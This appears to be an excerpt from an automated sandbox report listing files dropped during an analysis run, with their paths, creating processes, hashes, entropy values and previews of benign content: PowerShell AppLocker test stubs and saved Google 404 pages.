C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vm1tenuc.tnb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yh1vfdgo.qqv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cmmNnpH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256329237252335
Encrypted:	false
SSDEEP:	24:GgsF+0u3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	98402E7B71617DCDE1C3D9E01935F3FB
SHA1:	76D544BC94ECB696938CC3722CA16953C165D91B
SHA-256:	E66AB372F76624C288BBB27D1C4F9C5247DE52CADB6B025F07AE5278EBCC3B0C
SHA-512:	AC81A95B503A873524AAF9ED499441C8AB1F267BDFB2E0A07F68C1530FDA30AA1643AD6CDD56C04786E9F7FA0DF09EE3D702CDFA53FE2770EA64C80CD2DB321E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Bnjnf_wGcv9bJopOzGfyYg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dNrV7NQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2640487939249345
Encrypted:	false
SSDEEP:	24:GgsF+0bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8+pAZewRDK4mW
MD5:	BE343E2C7144E67EDF577003F3D6A871
SHA1:	8EA7A0D9AAB1866D97980A7F5C3D9A19D8B830D2
SHA-256:	7C6AEDD21E026CF6968967F5A01B1BE31790266D61524307A9DF79E361303390
SHA-512:	42B0BA29C82A61992A63362510132D73999913131BE10F860EC3C55A53B8D45218CE59FA65381D947BF0E3E51D10FFD74E7C584CAED53B5DD3374B7B4BBAF71F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OYdzE8H5gTWGzbgvRT7Amg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dWFU1RR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2684270868677405
Encrypted:	false
SSDEEP:	24:GgsF+0pESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+QE+pAZewRDK4mW
MD5:	57D7CC9E9A993AC8E97264B94F350974
SHA1:	2CE68434AC6D308A499E22AAE4C8037D95EEE79E
SHA-256:	B9D5E11F4C1C0D209305C9D8E87E0C512D60888021A23C9C4368DC4B029C2B29
SHA-512:	FFC8DF991DD977214E6104EB686C039BCFE693FC4652E8565A9313773AD2EF83D4CA27D636F94440048B2A0E37874BE4C6AE65FEA687F45E1CD1A821B3AC2E0C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="416aFCHKoNByvXO9nXW5rw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eDDKdBC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259759960662659
Encrypted:	false
SSDEEP:	24:GgsF+0tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	1C9AE0BB550142B5383D7072EFC015D8
SHA1:	15621568AF51D75575939C3D4A5705A5E70BD1CE
SHA-256:	B4FA728B102365B83F15AD2FE85135B2F80405CCEFDB40759013A5EAFEFA5044
SHA-512:	98B9F7DF537D6660D358E5275B3F609811EE72180647A3C0A087AEB4A302C7222EA615D2174562F48E9F2447A3D77B69CBC95232EB44E6A12BB8089A542912D9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TGz05i4U0NSinMr3N7nHLQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fcfmp85.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261912045742189
Encrypted:	false
SSDEEP:	24:GgsF+0MzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	0E985BEF6A2BD61945292AF04BAADA8D
SHA1:	E3DA893373284946D332FE88AA140ECF92461A3A
SHA-256:	93DEC8ABA415E134FA71A7EE6E062C084DCD0FA30BF5F3F4B919F6DC8268C7AB
SHA-512:	05B9D63113CEED194EF5C6F290B69A63E57298F2C42CAB61D5EFA5B509AAFFE0D9A1D35FD5E020CFCEA0AA9235DC3434EEEC7AE462A8389B937470246CF470BD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="avqQDpd0pxkmNWNN4J9dKA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fmdB8qa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.278442768390637
Encrypted:	false
SSDEEP:	24:GgsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	07F230705AFE352A46E23095703AE353
SHA1:	85A9BA16B08020BF1D017A22184A0BD8E0E3C212
SHA-256:	1F641A581120602F4D8BF05CAB70473C1207FF9E84371DFE1BF915004DA45CD7
SHA-512:	1CCDE588ABD0BC29CA21875365A520C7757C215626E51D8ADB0429708A721B18198D46C938C70306AF95730BE6E2B9CBB53070654D9FF1DC35B3D4749BA795D2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HGeD3lGCbfZkh6LNJVB1MQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gcMzPmm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268172981776523
Encrypted:	false
SSDEEP:	24:GgsF+0fP+3XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6GH+pAZewRDK4mW
MD5:	6452A75D86F67B92279057D6D6F8366C
SHA1:	E536861C7ACE2FA3AC8037D8EAF439DAA05180A6
SHA-256:	4CD13019281A57781949FD9C323105E0668AED6A1434F9477BFBE0828A0B594E
SHA-512:	B9E75D6E7881AE3053A314007377857CF43FD0B09A8E22376FFB8F53BCC1D7214923A5A6332872743415E64DCB1F1E86A04D6469BC8D72FDF9DFD29D3A915AAD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7ihWK2Xnjy8Gkx9FG3BaWA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mas7rnf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2610645556926485
Encrypted:	false
SSDEEP:	24:GgsF+0NbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0b+pAZewRDK4mW
MD5:	3FB3E8A40D5789445FB9BA54DD87F5E0
SHA1:	B93577CEB2258E26408A1F455EB0CBFF98BAFC32
SHA-256:	12F8118CE919450114BE6D6FAC66D466B37ABBF36206049C4E73E6FAD16EAED0
SHA-512:	A8E8F359EBCAD571221BF7A7D92B4EC927F32F3DF98F3856FF35D9EF09CF309A647E04E2430015AA4DEB8B7DD7C4C38CD2CFBBCDA6E254F29B2520C144DB14D0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MicuvofqGYnkvLHcV_dU3Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\oRTzXEb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268108386622194
Encrypted:	false
SSDEEP:	24:GgsF+0seBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a+pAZewRDK4mW
MD5:	33AA3D6EDDABE67E878A2245421BAA6B
SHA1:	AE5DE1D54E0CE7119301891191B949D57692A081
SHA-256:	CC62380B4505CDF6EC6B7DBF8D0F1EEB37D21751399CBCAFA502F37D134542B2
SHA-512:	F580E1C6376028FB239C5598EA65932D1EDB67C9A626F37EC38F41FAE9A50BF0622C45FAD2C38739E9BE25799048E14F21B7D853CEB5E33939DECAE388C395BA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NWjUKJ4_TOoWg4sMhl2Z-Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qCYDNpj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2777548675629555
Encrypted:	false
SSDEEP:	24:GgsF+0E9nKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+HK+pAZewRDK4mW
MD5:	0ADF8913D4E38FA43C77F3CA684BF2CD
SHA1:	525D5427D56481D0C0026AB572D8A3B40FC2B9CE
SHA-256:	EE0A2A1228F64506881F18AC11C2505A67A8BDE92B4FA3699B218FFC096BE819
SHA-512:	965271E06B96FBEEFF4C1F9CB40BC882CE4F29E299A698848A57F8B8EB9C8BBED9254D4C5BC1DB5D8B0ED9B643E69C0A36FF08DA1074278E51860FE5F27BFAEA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JCfqdkSFHOJqlNCBm7lMYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rjHuzSR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257594998541933
Encrypted:	false
SSDEEP:	24:GgsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+H+pAZewRDK4mW
MD5:	D6099B025E67E6B9DC7C80F3CFB3AAD5
SHA1:	D79392A1D62A305B600A7D629ABCB8B3BCAD7CEE
SHA-256:	EA473946C038DD750672B0517FE0DFB2400479D68CD6334F78CB7DD5540D662B
SHA-512:	0834C7CBC575C452B4968843FA6EA1A8C5395808FB5AA018AEB5FC05EDF5408DDC39D38C68392D88BB183EFBAE00C594869F9D3DE82DE9CF7CD3C340AC8C9BFB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MCSg4uNuwnrrE1UhpOV_bA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rltkBNg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2520129891956175
Encrypted:	false
SSDEEP:	24:GgsF+0cpUCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+j/+pAZewRDK4mW
MD5:	DACEB27A266EEEA3BAC285C1A508D25F
SHA1:	20E90D0DDEDAF306E8C45B663E35BD5E55DBDCE0
SHA-256:	8EB40CEFA9D717A241056AF6092E6504A37271149D78EE8204D801080232B8DF
SHA-512:	EE7C688841E091D33BFA074D83C636A8258FC5D28DBD985940935DEAE91DCEBDCE29987DE1089FF8B502AB7CFD1FA575A5AB76492BFCB0F5A7D2153D2A1F8832
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nG00jmT-h6sE2gs-DEc95A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\sWAxddF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251656231991704
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+v+pAZewRDK4mW
MD5:	D9492897F127F6FCAF265B130FADF21D
SHA1:	6ACA4429CA892926618165BAE9DE8066CAD86CD9
SHA-256:	2D9ABD0B0868D5ED0C90D093366906411AC4B015647222E62EC5EC0F88BA05DA
SHA-512:	8A65E0415F38008E1D1003298A5E097FA12F33D9528576C6A7E3DA59FD4CA9493C6538E4B44A00A4B49B1CE7F4B9EDE7B5CADEFDD5FAFEC667A6C8FB89DE07A2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lbImvBkgb_ezpmZOzu3wqw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\uCOgJ7x.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255847446214183
Encrypted:	false
SSDEEP:	24:GgsF+0o4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	51C5C260A277A7B44DEAF75523EF59F9
SHA1:	6B8393D03B22B1CD537DC76E6A9D6A31CFAE7B0B
SHA-256:	6400B74885318748F69AC940FF72C9EA48B7E1495ACE00CFDF6C4F335FB99341
SHA-512:	DCC19FD559C6C212F2833C98F62B8CCE4A3AB630641F1D74EA0DE2DABCF63D9146A91AEB570826362153395F1A7F70ED86868C55E30D46D871C211BB9E7BF397
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sgwehUjAQRfKN76TwagApg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wRKiyvB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25661763058373
Encrypted:	false
SSDEEP:	24:GgsF+06jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Tj+pAZewRDK4mW
MD5:	26F0507B0DC6D0544D71BB6E58BAB785
SHA1:	3ADEACE89015FEC9626231BC290B927CD0C42A9F
SHA-256:	FD4F4985E0D682959247FDDDCCF824610BC2D4D50085581596FE888B46B3A00F
SHA-512:	D53D46DA9130833247478DA3C9B9E88C5072D74101A92E7F6B1D0F1BC54AA2F3943B5972D5ECF34F6896AC477061D817EB3881D9C6CEF5E0E85F8611D1F4ACC2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HAhoabXpI2l-M_uIF7pSoA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wtuJKNr.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264306950689819
Encrypted:	false
SSDEEP:	24:GgsF+0NKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+iK+pAZewRDK4mW
MD5:	1C1E7CAC8701EEEC696B04230AAE2824
SHA1:	E942A5A295E3B717EFE531267A1F679297498B4F
SHA-256:	B7F47F8D38F1F7201F224E5D0A0C556CC5EBB630B1ED1F710A183F659601CBBD
